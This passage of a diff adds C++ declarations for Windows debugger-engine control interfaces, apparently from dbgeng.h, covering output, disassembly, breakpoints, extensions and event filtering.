mask is allowed + // by the current output control mask and + // according to the output distribution + // settings. + STDMETHODV(Output)( + THIS_ + __in ULONG Mask, + __in PCSTR Format, + ... + ) PURE; + STDMETHOD(OutputVaList)( + THIS_ + __in ULONG Mask, + __in PCSTR Format, + __in va_list Args + ) PURE; + // The following methods allow direct control + // over the distribution of the given output + // for situations where something other than + // the default is desired. These methods require + // extra work in the engine so they should + // only be used when necessary. + STDMETHODV(ControlledOutput)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCSTR Format, + ... + ) PURE; + STDMETHOD(ControlledOutputVaList)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCSTR Format, + __in va_list Args + ) PURE; + + // Displays the standard command-line prompt + // followed by the given output. If Format + // is NULL no additional output is produced. + // Output is produced under the + // DEBUG_OUTPUT_PROMPT mask. + // This method only outputs the prompt; it + // does not get input. + STDMETHODV(OutputPrompt)( + THIS_ + __in ULONG OutputControl, + __in_opt PCSTR Format, + ... + ) PURE; + STDMETHOD(OutputPromptVaList)( + THIS_ + __in ULONG OutputControl, + __in_opt PCSTR Format, + __in va_list Args + ) PURE; + // Gets the text that would be displayed by OutputPrompt. + STDMETHOD(GetPromptText)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + // Outputs information about the current + // debuggee state such as a register + // summary, disassembly at the current PC, + // closest symbol and others. + // Uses the line prefix. + STDMETHOD(OutputCurrentState)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; + + // Outputs the debugger and extension version + // information. This method is reentrant. + // Uses the line prefix. + STDMETHOD(OutputVersionInformation)( + THIS_ + __in ULONG OutputControl + ) PURE; + + // In user-mode debugging sessions the + // engine will set an event when + // exceptions are continued. This can + // be used to synchronize other processes + // with the debuggers handling of events. + // For example, this is used to support + // the e argument to ntsd. + STDMETHOD(GetNotifyEventHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + STDMETHOD(SetNotifyEventHandle)( + THIS_ + __in ULONG64 Handle + ) PURE; + + STDMETHOD(Assemble)( + THIS_ + __in ULONG64 Offset, + __in PCSTR Instr, + __out PULONG64 EndOffset + ) PURE; + STDMETHOD(Disassemble)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG DisassemblySize, + __out PULONG64 EndOffset + ) PURE; + // Returns the value of the effective address + // computed for the last Disassemble, if there + // was one. + STDMETHOD(GetDisassembleEffectiveOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Uses the line prefix if necessary. + STDMETHOD(OutputDisassembly)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG Flags, + __out PULONG64 EndOffset + ) PURE; + // Produces multiple lines of disassembly output. + // There will be PreviousLines of disassembly before + // the given offset if a valid disassembly exists. + // In all, there will be TotalLines of output produced. + // The first and last line offsets are returned + // specially and all lines offsets can be retrieved + // through LineOffsets. LineOffsets will contain + // offsets for each line where disassembly started. + // When disassembly of a single instruction takes + // multiple lines the initial offset will be followed + // by DEBUG_INVALID_OFFSET. + // Uses the line prefix. + STDMETHOD(OutputDisassemblyLines)( + THIS_ + __in ULONG OutputControl, + __in ULONG PreviousLines, + __in ULONG TotalLines, + __in ULONG64 Offset, + __in ULONG Flags, + __out_opt PULONG OffsetLine, + __out_opt PULONG64 StartOffset, + __out_opt PULONG64 EndOffset, + __out_ecount_opt(TotalLines) PULONG64 LineOffsets + ) PURE; + // Returns the offset of the start of + // the instruction thats the given + // delta away from the instruction + // at the initial offset. + // This routine does not check for + // validity of the instruction or + // the memory containing it. + STDMETHOD(GetNearInstruction)( + THIS_ + __in ULONG64 Offset, + __in LONG Delta, + __out PULONG64 NearOffset + ) PURE; + + // Offsets can be passed in as zero to use the current + // thread state. + STDMETHOD(GetStackTrace)( + THIS_ + __in ULONG64 FrameOffset, + __in ULONG64 StackOffset, + __in ULONG64 InstructionOffset, + __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __out_opt PULONG FramesFilled + ) PURE; + // Does a simple stack trace to determine + // what the current return address is. + STDMETHOD(GetReturnOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // If Frames is NULL OutputStackTrace will + // use GetStackTrace to get FramesSize frames + // and then output them. The current register + // values for frame, stack and instruction offsets + // are used. + // Uses the line prefix. + STDMETHOD(OutputStackTrace)( + THIS_ + __in ULONG OutputControl, + __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __in ULONG Flags + ) PURE; + + // Returns information about the debuggee such + // as user vs. kernel, dump vs. live, etc. + STDMETHOD(GetDebuggeeType)( + THIS_ + __out PULONG Class, + __out PULONG Qualifier + ) PURE; + // Returns the type of physical processors in + // the machine. + // Returns one of the IMAGE_FILE_MACHINE values. + STDMETHOD(GetActualProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + // Returns the type of processor used in the + // current processor context. + STDMETHOD(GetExecutingProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + // Query all the possible processor types that + // may be encountered during this debug session. + STDMETHOD(GetNumberPossibleExecutingProcessorTypes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetPossibleExecutingProcessorTypes)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Types + ) PURE; + // Get the number of actual processors in + // the machine. + STDMETHOD(GetNumberProcessors)( + THIS_ + __out PULONG Number + ) PURE; + // PlatformId is one of the VER_PLATFORM values. + // Major and minor are as given in the NT + // kernel debugger protocol. + // ServicePackString and ServicePackNumber indicate the + // system service pack level. ServicePackNumber is not + // available in some sessions where the service pack level + // is only expressed as a string. The service pack information + // will be empty if the system does not have a service pack + // applied. + // The build string is string information identifying the + // particular build of the system. The build string is + // empty if the system has no particular identifying + // information. + STDMETHOD(GetSystemVersion)( + THIS_ + __out PULONG PlatformId, + __out PULONG Major, + __out PULONG Minor, + __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString, + __in ULONG ServicePackStringSize, + __out_opt PULONG ServicePackStringUsed, + __out PULONG ServicePackNumber, + __out_ecount_opt(BuildStringSize) PSTR BuildString, + __in ULONG BuildStringSize, + __out_opt PULONG BuildStringUsed + ) PURE; + // Returns the page size for the currently executing + // processor context. The page size may vary between + // processor types. + STDMETHOD(GetPageSize)( + THIS_ + __out PULONG Size + ) PURE; + // Returns S_OK if the current processor context uses + // 64-bit addresses, otherwise S_FALSE. + STDMETHOD(IsPointer64Bit)( + THIS + ) PURE; + // Reads the bugcheck data area and returns the + // current contents. This method only works + // in kernel debugging sessions. + STDMETHOD(ReadBugCheckData)( + THIS_ + __out PULONG Code, + __out PULONG64 Arg1, + __out PULONG64 Arg2, + __out PULONG64 Arg3, + __out PULONG64 Arg4 + ) PURE; + + // Query all the processor types supported by + // the engine. This is a complete list and is + // not related to the machine running the engine + // or the debuggee. + STDMETHOD(GetNumberSupportedProcessorTypes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetSupportedProcessorTypes)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Types + ) PURE; + // Returns a full, descriptive name and an + // abbreviated name for a processor type. + STDMETHOD(GetProcessorTypeNames)( + THIS_ + __in ULONG Type, + __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer, + __in ULONG FullNameBufferSize, + __out_opt PULONG FullNameSize, + __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer, + __in ULONG AbbrevNameBufferSize, + __out_opt PULONG AbbrevNameSize + ) PURE; + + // Gets and sets the type of processor to + // use when doing things like setting + // breakpoints, accessing registers, + // getting stack traces and so on. + STDMETHOD(GetEffectiveProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + STDMETHOD(SetEffectiveProcessorType)( + THIS_ + __in ULONG Type + ) PURE; + + // Returns information about whether and how + // the debuggee is running. Status will + // be GO if the debuggee is running and + // BREAK if it isnt. + // If no debuggee exists the status is + // NO_DEBUGGEE. + // This method is reentrant. + STDMETHOD(GetExecutionStatus)( + THIS_ + __out PULONG Status + ) PURE; + // Changes the execution status of the + // engine from stopped to running. + // Status must be one of the go or step + // status values. + STDMETHOD(SetExecutionStatus)( + THIS_ + __in ULONG Status + ) PURE; + + // Controls what code interpretation level the debugger + // runs at. The debugger checks the code level when + // deciding whether to step by a source line or + // assembly instruction along with other related operations. + STDMETHOD(GetCodeLevel)( + THIS_ + __out PULONG Level + ) PURE; + STDMETHOD(SetCodeLevel)( + THIS_ + __in ULONG Level + ) PURE; + + // Gets and sets engine control flags. + // These methods are reentrant. + STDMETHOD(GetEngineOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Gets and sets control values for + // handling system error events. + // If the system error level is less + // than or equal to the given levels + // the error may be displayed and + // the default break for the event + // may be set. + STDMETHOD(GetSystemErrorControl)( + THIS_ + __out PULONG OutputLevel, + __out PULONG BreakLevel + ) PURE; + STDMETHOD(SetSystemErrorControl)( + THIS_ + __in ULONG OutputLevel, + __in ULONG BreakLevel + ) PURE; + + // The command processor supports simple + // string replacement macros in Evaluate and + // Execute. There are currently ten macro + // slots available. Slots 0-9 map to + // the command invocations $u0-$u9. + STDMETHOD(GetTextMacro)( + THIS_ + __in ULONG Slot, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MacroSize + ) PURE; + STDMETHOD(SetTextMacro)( + THIS_ + __in ULONG Slot, + __in PCSTR Macro + ) PURE; + + // Controls the default number radix used + // in expressions and commands. + STDMETHOD(GetRadix)( + THIS_ + __out PULONG Radix + ) PURE; + STDMETHOD(SetRadix)( + THIS_ + __in ULONG Radix + ) PURE; + + // Evaluates the given expression string and + // returns the resulting value. + // If DesiredType is DEBUG_VALUE_INVALID then + // the natural type is used. + // RemainderIndex, if provided, is set to the index + // of the first character in the input string that was + // not used when evaluating the expression. + STDMETHOD(Evaluate)( + THIS_ + __in PCSTR Expression, + __in ULONG DesiredType, + __out PDEBUG_VALUE Value, + __out_opt PULONG RemainderIndex + ) PURE; + // Attempts to convert the input value to a value + // of the requested type in the output value. + // Conversions can fail if no conversion exists. + // Successful conversions may be lossy. + STDMETHOD(CoerceValue)( + THIS_ + __in PDEBUG_VALUE In, + __in ULONG OutType, + __out PDEBUG_VALUE Out + ) PURE; + STDMETHOD(CoerceValues)( + THIS_ + __in ULONG Count, + __in_ecount(Count) PDEBUG_VALUE In, + __in_ecount(Count) PULONG OutTypes, + __out_ecount(Count) PDEBUG_VALUE Out + ) PURE; + + // Executes the given command string. + // If the string has multiple commands + // Execute will not return until all + // of them have been executed. If this + // requires waiting for the debuggee to + // execute an internal wait will be done + // so Execute can take an arbitrary amount + // of time. + STDMETHOD(Execute)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Command, + __in ULONG Flags + ) PURE; + // Executes the given command file by + // reading a line at a time and processing + // it with Execute. + STDMETHOD(ExecuteCommandFile)( + THIS_ + __in ULONG OutputControl, + __in PCSTR CommandFile, + __in ULONG Flags + ) PURE; + + // Breakpoint interfaces are described + // elsewhere in this section. + STDMETHOD(GetNumberBreakpoints)( + THIS_ + __out PULONG Number + ) PURE; + // It is possible for this retrieval function to + // fail even with an index within the number of + // existing breakpoints if the breakpoint is + // a private breakpoint. + STDMETHOD(GetBreakpointByIndex)( + THIS_ + __in ULONG Index, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + STDMETHOD(GetBreakpointById)( + THIS_ + __in ULONG Id, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + // If Ids is non-NULL the Count breakpoints + // referred to in the Ids array are returned, + // otherwise breakpoints from index Start to + // Start + Count 1 are returned. + STDMETHOD(GetBreakpointParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Ids, + __in ULONG Start, + __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params + ) PURE; + // Breakpoints are created empty and disabled. + // When their parameters have been set they + // should be enabled by setting the ENABLE flag. + // If DesiredId is DEBUG_ANY_ID then the + // engine picks an unused ID. If DesiredId + // is any other number the engine attempts + // to use the given ID for the breakpoint. + // If another breakpoint exists with that ID + // the call will fail. + STDMETHOD(AddBreakpoint)( + THIS_ + __in ULONG Type, + __in ULONG DesiredId, + __out PDEBUG_BREAKPOINT* Bp + ) PURE; + // Breakpoint interface is invalid after this call. + STDMETHOD(RemoveBreakpoint)( + THIS_ + __in PDEBUG_BREAKPOINT Bp + ) PURE; + + // Control and use extension DLLs. + STDMETHOD(AddExtension)( + THIS_ + __in PCSTR Path, + __in ULONG Flags, + __out PULONG64 Handle + ) PURE; + STDMETHOD(RemoveExtension)( + THIS_ + __in ULONG64 Handle + ) PURE; + STDMETHOD(GetExtensionByPath)( + THIS_ + __in PCSTR Path, + __out PULONG64 Handle + ) PURE; + // If Handle is zero the extension + // chain is walked searching for the + // function. + STDMETHOD(CallExtension)( + THIS_ + __in ULONG64 Handle, + __in PCSTR Function, + __in_opt PCSTR Arguments + ) PURE; + // GetExtensionFunction works like + // GetProcAddress on extension DLLs + // to allow raw function-call-level + // interaction with extension DLLs. + // Such functions do not need to + // follow the standard extension prototype + // if they are not going to be called + // through the text extension interface. + // This function cannot be called remotely. + STDMETHOD(GetExtensionFunction)( + THIS_ + __in ULONG64 Handle, + __in PCSTR FuncName, + __out FARPROC* Function + ) PURE; + // These methods return alternate + // extension interfaces in order to allow + // interface-style extension DLLs to mix in + // older extension calls. + // Structure sizes must be initialized before + // the call. + // These methods cannot be called remotely. + STDMETHOD(GetWindbgExtensionApis32)( + THIS_ + __inout PWINDBG_EXTENSION_APIS32 Api + ) PURE; + STDMETHOD(GetWindbgExtensionApis64)( + THIS_ + __inout PWINDBG_EXTENSION_APIS64 Api + ) PURE; + + // The engine provides a simple mechanism + // to filter common events. Arbitrarily complicated + // filtering can be done by registering event callbacks + // but simple event filtering only requires + // setting the options of one of the predefined + // event filters. + // Simple event filters are either for specific + // events and therefore have an enumerant or + // they are for an exception and are based on + // the exceptions code. Exception filters + // are further divided into exceptions specially + // handled by the engine, which is a fixed set, + // and arbitrary exceptions. + // All three groups of filters are indexed together + // with the specific filters first, then the specific + // exception filters and finally the arbitrary + // exception filters. + // The first specific exception is the default + // exception. If an exception event occurs for + // an exception without settings the default + // exception settings are used. + STDMETHOD(GetNumberEventFilters)( + THIS_ + __out PULONG SpecificEvents, + __out PULONG SpecificExceptions, + __out PULONG ArbitraryExceptions + ) PURE; + // Some filters have descriptive text associated with them. + STDMETHOD(GetEventFilterText)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + // All filters support executing a command when the + // event occurs. + STDMETHOD(GetEventFilterCommand)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetEventFilterCommand)( + THIS_ + __in ULONG Index, + __in PCSTR Command + ) PURE; + STDMETHOD(GetSpecificFilterParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params + ) PURE; + STDMETHOD(SetSpecificFilterParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params + ) PURE; + // Some specific filters have arguments to further + // qualify their operation. + STDMETHOD(GetSpecificFilterArgument)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ArgumentSize + ) PURE; + STDMETHOD(SetSpecificFilterArgument)( + THIS_ + __in ULONG Index, + __in PCSTR Argument + ) PURE; + // If Codes is non-NULL Start is ignored. + STDMETHOD(GetExceptionFilterParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Codes, + __in ULONG Start, + __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params + ) PURE; + // The codes in the parameter data control the application + // of the parameter data. If a code is not already in + // the set of filters it is added. If the ExecutionOption + // for a code is REMOVE then the filter is removed. + // Specific exception filters cannot be removed. + STDMETHOD(SetExceptionFilterParameters)( + THIS_ + __in ULONG Count, + __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params + ) PURE; + // Exception filters support an additional command for + // second-chance events. + STDMETHOD(GetExceptionFilterSecondCommand)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetExceptionFilterSecondCommand)( + THIS_ + __in ULONG Index, + __in PCSTR Command + ) PURE; + + // Yields processing to the engine until + // an event occurs. This method may + // only be called by the thread that started + // the debug session. + // When an event occurs the engine carries + // out all event processing such as calling + // callbacks. + // If the callbacks indicate that execution should + // break the wait will return, otherwise it + // goes back to waiting for a new event. + // If the timeout expires, S_FALSE is returned. + // The timeout is not currently supported for + // kernel debugging. + STDMETHOD(WaitForEvent)( + THIS_ + __in ULONG Flags, + __in ULONG Timeout + ) PURE; + + // Retrieves information about the last event that occurred. + // EventType is one of the event callback mask bits. + // ExtraInformation contains additional event-specific + // information. Not all events have additional information. + STDMETHOD(GetLastEventInformation)( + THIS_ + __out PULONG Type, + __out PULONG ProcessId, + __out PULONG ThreadId, + __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation, + __in ULONG ExtraInformationSize, + __out_opt PULONG ExtraInformationUsed, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG DescriptionUsed + ) PURE; + + // IDebugControl2. + + STDMETHOD(GetCurrentTimeDate)( + THIS_ + __out PULONG TimeDate + ) PURE; + // Retrieves the number of seconds since the + // machine started running. + STDMETHOD(GetCurrentSystemUpTime)( + THIS_ + __out PULONG UpTime + ) PURE; + + // If the current session is a dump session, + // retrieves any extended format information. + STDMETHOD(GetDumpFormatFlags)( + THIS_ + __out PULONG FormatFlags + ) PURE; + + // The debugger has been enhanced to allow + // arbitrary text replacements in addition + // to the simple $u0-$u9 text macros. + // Text replacement takes a given source + // text in commands and converts it to the + // given destination text. Replacements + // are named by their source text so that + // only one replacement for a source text + // string can exist. + STDMETHOD(GetNumberTextReplacements)( + THIS_ + __out PULONG NumRepl + ) PURE; + // If SrcText is non-NULL the replacement + // is looked up by source text, otherwise + // Index is used to get the Nth replacement. + STDMETHOD(GetTextReplacement)( + THIS_ + __in_opt PCSTR SrcText, + __in ULONG Index, + __out_ecount_opt(SrcBufferSize) PSTR SrcBuffer, + __in ULONG SrcBufferSize, + __out_opt PULONG SrcSize, + __out_ecount_opt(DstBufferSize) PSTR DstBuffer, + __in ULONG DstBufferSize, + __out_opt PULONG DstSize + ) PURE; + // Setting the destination text to + // NULL removes the alias. + STDMETHOD(SetTextReplacement)( + THIS_ + __in PCSTR SrcText, + __in_opt PCSTR DstText + ) PURE; + STDMETHOD(RemoveTextReplacements)( + THIS + ) PURE; + // Outputs the complete list of current + // replacements. + STDMETHOD(OutputTextReplacements)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; + + // IDebugControl3. + + // Control options for assembly and disassembly. + STDMETHOD(GetAssemblyOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddAssemblyOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveAssemblyOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetAssemblyOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Control the expression syntax. + STDMETHOD(GetExpressionSyntax)( + THIS_ + __out PULONG Flags + ) PURE; + STDMETHOD(SetExpressionSyntax)( + THIS_ + __in ULONG Flags + ) PURE; + // Look up a syntax by its abbreviated + // name and set it. + STDMETHOD(SetExpressionSyntaxByName)( + THIS_ + __in PCSTR AbbrevName + ) PURE; + STDMETHOD(GetNumberExpressionSyntaxes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetExpressionSyntaxNames)( + THIS_ + __in ULONG Index, + __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer, + __in ULONG FullNameBufferSize, + __out_opt PULONG FullNameSize, + __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer, + __in ULONG AbbrevNameBufferSize, + __out_opt PULONG AbbrevNameSize + ) PURE; + + // + // Some debug sessions have only a single + // possible event, such as a snapshot dump + // file; some have dynamic events, such as + // a live debug session; and others may have + // multiple events, such as a dump file that + // contains snapshots from different points + // in time. The following methods allow + // discovery and selection of the available + // events for a session. + // Sessions with one or more static events + // will be able to report all of the events + // when queried. Sessions with dynamic events + // will only report a single event representing + // the current event. + // Switching events constitutes execution and + // changing the current event will alter the + // execution status to a running state, after + // which WaitForEvent must be used to process + // the selected event. + // + + // GetNumberEvents returns S_OK if this is the + // complete set of events possible, such as for + // a static session; or S_FALSE if other events + // may be possible, such as for a dynamic session. + STDMETHOD(GetNumberEvents)( + THIS_ + __out PULONG Events + ) PURE; + // Sessions may have descriptive information for + // the various events available. The amount of + // information varies according to the specific + // session and data. + STDMETHOD(GetEventIndexDescription)( + THIS_ + __in ULONG Index, + __in ULONG Which, + __in_opt PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG DescSize + ) PURE; + STDMETHOD(GetCurrentEventIndex)( + THIS_ + __out PULONG Index + ) PURE; + // SetNextEventIndex works like seek in that + // it can set an absolute or relative index. + // SetNextEventIndex works similarly to SetExecutionStatus + // by putting the session into a running state, after + // which the caller must call WaitForEvent. The + // current event index only changes when WaitForEvent + // is called. + STDMETHOD(SetNextEventIndex)( + THIS_ + __in ULONG Relation, + __in ULONG Value, + __out PULONG NextIndex + ) PURE; + + // IDebugControl4. + + STDMETHOD(GetLogFileWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FileSize, + __out PBOOL Append + ) PURE; + STDMETHOD(OpenLogFileWide)( + THIS_ + __in PCWSTR File, + __in BOOL Append + ) PURE; + + STDMETHOD(InputWide)( + THIS_ + __out_ecount(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG InputSize + ) PURE; + STDMETHOD(ReturnInputWide)( + THIS_ + __in PCWSTR Buffer + ) PURE; + + STDMETHODV(OutputWide)( + THIS_ + __in ULONG Mask, + __in PCWSTR Format, + ... + ) PURE; + STDMETHOD(OutputVaListWide)( + THIS_ + __in ULONG Mask, + __in PCWSTR Format, + __in va_list Args + ) PURE; + STDMETHODV(ControlledOutputWide)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCWSTR Format, + ... + ) PURE; + STDMETHOD(ControlledOutputVaListWide)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCWSTR Format, + __in va_list Args + ) PURE; + + STDMETHODV(OutputPromptWide)( + THIS_ + __in ULONG OutputControl, + __in_opt PCWSTR Format, + ... + ) PURE; + STDMETHOD(OutputPromptVaListWide)( + THIS_ + __in ULONG OutputControl, + __in_opt PCWSTR Format, + __in va_list Args + ) PURE; + STDMETHOD(GetPromptTextWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + + STDMETHOD(AssembleWide)( + THIS_ + __in ULONG64 Offset, + __in PCWSTR Instr, + __out PULONG64 EndOffset + ) PURE; + STDMETHOD(DisassembleWide)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG DisassemblySize, + __out PULONG64 EndOffset + ) PURE; + + STDMETHOD(GetProcessorTypeNamesWide)( + THIS_ + __in ULONG Type, + __out_ecount_opt(FullNameBufferSize) PWSTR FullNameBuffer, + __in ULONG FullNameBufferSize, + __out_opt PULONG FullNameSize, + __out_ecount_opt(AbbrevNameBufferSize) PWSTR AbbrevNameBuffer, + __in ULONG AbbrevNameBufferSize, + __out_opt PULONG AbbrevNameSize + ) PURE; + + STDMETHOD(GetTextMacroWide)( + THIS_ + __in ULONG Slot, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG MacroSize + ) PURE; + STDMETHOD(SetTextMacroWide)( + THIS_ + __in ULONG Slot, + __in PCWSTR Macro + ) PURE; + + STDMETHOD(EvaluateWide)( + THIS_ + __in PCWSTR Expression, + __in ULONG DesiredType, + __out PDEBUG_VALUE Value, + __out_opt PULONG RemainderIndex + ) PURE; + + STDMETHOD(ExecuteWide)( + THIS_ + __in ULONG OutputControl, + __in PCWSTR Command, + __in ULONG Flags + ) PURE; + STDMETHOD(ExecuteCommandFileWide)( + THIS_ + __in ULONG OutputControl, + __in PCWSTR CommandFile, + __in ULONG Flags + ) PURE; + + STDMETHOD(GetBreakpointByIndex2)( + THIS_ + __in ULONG Index, + __out PDEBUG_BREAKPOINT2* Bp + ) PURE; + STDMETHOD(GetBreakpointById2)( + THIS_ + __in ULONG Id, + __out PDEBUG_BREAKPOINT2* Bp + ) PURE; + STDMETHOD(AddBreakpoint2)( + THIS_ + __in ULONG Type, + __in ULONG DesiredId, + __out PDEBUG_BREAKPOINT2* Bp + ) PURE; + STDMETHOD(RemoveBreakpoint2)( + THIS_ + __in PDEBUG_BREAKPOINT2 Bp + ) PURE; + + STDMETHOD(AddExtensionWide)( + THIS_ + __in PCWSTR Path, + __in ULONG Flags, + __out PULONG64 Handle + ) PURE; + STDMETHOD(GetExtensionByPathWide)( + THIS_ + __in PCWSTR Path, + __out PULONG64 Handle + ) PURE; + STDMETHOD(CallExtensionWide)( + THIS_ + __in ULONG64 Handle, + __in PCWSTR Function, + __in_opt PCWSTR Arguments + ) PURE; + STDMETHOD(GetExtensionFunctionWide)( + THIS_ + __in ULONG64 Handle, + __in PCWSTR FuncName, + __out FARPROC* Function + ) PURE; + + STDMETHOD(GetEventFilterTextWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + STDMETHOD(GetEventFilterCommandWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetEventFilterCommandWide)( + THIS_ + __in ULONG Index, + __in PCWSTR Command + ) PURE; + STDMETHOD(GetSpecificFilterArgumentWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG ArgumentSize + ) PURE; + STDMETHOD(SetSpecificFilterArgumentWide)( + THIS_ + __in ULONG Index, + __in PCWSTR Argument + ) PURE; + STDMETHOD(GetExceptionFilterSecondCommandWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG CommandSize + ) PURE; + STDMETHOD(SetExceptionFilterSecondCommandWide)( + THIS_ + __in ULONG Index, + __in PCWSTR Command + ) PURE; + + STDMETHOD(GetLastEventInformationWide)( + THIS_ + __out PULONG Type, + __out PULONG ProcessId, + __out PULONG ThreadId, + __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation, + __in ULONG ExtraInformationSize, + __out_opt PULONG ExtraInformationUsed, + __out_ecount_opt(DescriptionSize) PWSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG DescriptionUsed + ) PURE; + + STDMETHOD(GetTextReplacementWide)( + THIS_ + __in_opt PCWSTR SrcText, + __in ULONG Index, + __out_ecount_opt(SrcBufferSize) PWSTR SrcBuffer, + __in ULONG SrcBufferSize, + __out_opt PULONG SrcSize, + __out_ecount_opt(DstBufferSize) PWSTR DstBuffer, + __in ULONG DstBufferSize, + __out_opt PULONG DstSize + ) PURE; + STDMETHOD(SetTextReplacementWide)( + THIS_ + __in PCWSTR SrcText, + __in_opt PCWSTR DstText + ) PURE; + + STDMETHOD(SetExpressionSyntaxByNameWide)( + THIS_ + __in PCWSTR AbbrevName + ) PURE; + STDMETHOD(GetExpressionSyntaxNamesWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(FullNameBufferSize) PWSTR FullNameBuffer, + __in ULONG FullNameBufferSize, + __out_opt PULONG FullNameSize, + __out_ecount_opt(AbbrevNameBufferSize) PWSTR AbbrevNameBuffer, + __in ULONG AbbrevNameBufferSize, + __out_opt PULONG AbbrevNameSize + ) PURE; + + STDMETHOD(GetEventIndexDescriptionWide)( + THIS_ + __in ULONG Index, + __in ULONG Which, + __in_opt PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG DescSize + ) PURE; + + STDMETHOD(GetLogFile2)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FileSize, + __out PULONG Flags + ) PURE; + STDMETHOD(OpenLogFile2)( + THIS_ + __in PCSTR File, + __in ULONG Flags + ) PURE; + STDMETHOD(GetLogFile2Wide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FileSize, + __out PULONG Flags + ) PURE; + STDMETHOD(OpenLogFile2Wide)( + THIS_ + __in PCWSTR File, + __in ULONG Flags + ) PURE; 